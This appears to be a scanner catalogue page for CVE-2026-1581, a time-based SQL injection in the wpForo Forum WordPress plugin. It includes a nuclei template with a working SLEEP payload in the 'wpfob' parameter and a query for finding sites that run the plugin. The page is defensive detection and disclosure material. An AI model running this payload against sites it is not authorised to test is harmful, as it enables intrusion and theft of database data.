wpForo Forum <= 2.4.14 - SQL Injection

criticalseverity

7.5CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

wpForo Forum WordPress plugin <= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.

Impact

Unauthenticated attackers can extract sensitive information from the database, leading to data disclosure.

Fix

Update to the latest version of wpForo Forum plugin.

How to confirm it

Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 200 and contains(body, "wpforo-wrap") and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2026-1581 -u <target>

The full check

id: CVE-2026-1581

info:
  name: wpForo Forum <= 2.4.14 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    wpForo Forum WordPress plugin <= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, leading to data disclosure.
  remediation: |
    Update to the latest version of wpForo Forum plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-2414-unauthenticated-time-based-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-1581
    epss-score: 0.02507
    epss-percentile: 0.84882
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/wpforo/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,wpforo,unauth,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /community/recent/?wpfob=(SELECT/**/1/**/FROM/**/(SELECT/**/SLEEP(8))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "wpforo-wrap")'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from